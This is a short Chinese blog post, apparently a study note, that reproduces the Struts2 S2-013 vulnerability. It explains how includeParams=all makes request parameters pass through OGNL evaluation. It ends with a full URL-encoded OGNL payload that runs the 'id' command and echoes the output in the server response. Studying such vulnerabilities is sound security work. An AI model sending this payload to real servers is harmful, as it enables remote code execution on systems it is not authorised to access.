0
点赞
收藏
分享

微信扫一扫

struts2远程S2-013复现学习

西特张 2022-04-02 阅读 66

S2-013复现

原理

struts2的标签中 和 都有一个 includeParams 属性,可以设置成如下值

none - URL中不包含任何参数(默认)
get - 仅包含URL中的GET参数
all - 在URL中包含GET和POST参数
此时 或尝试去解析原始请求参数时,会导致OGNL表达式的执行

影响版本:Struts 2.0.0-2.3.14

漏洞搭建

Struts2 的标签<s:a><s:url>提供了一个 includeParams 属性。该属性的主要作用域是了解是否包含 http 请求参数。

includeParams 的允许值为:

  1. none - 在 URL 中不包含任何参数(默认)
  2. get - 在 URL 中仅包含 GET 参数
  3. all - 在 URL 中包含 GET 和 POST 参数

当 时includeParams=all,这个请求的 GET 和 POST 参数放在 URL 的 GET 参数上。在此过程中,参数将被 OGNL 表达式解析。它导致命令执行。

poc构建

a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('id').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D

举报

相关推荐

0 条评论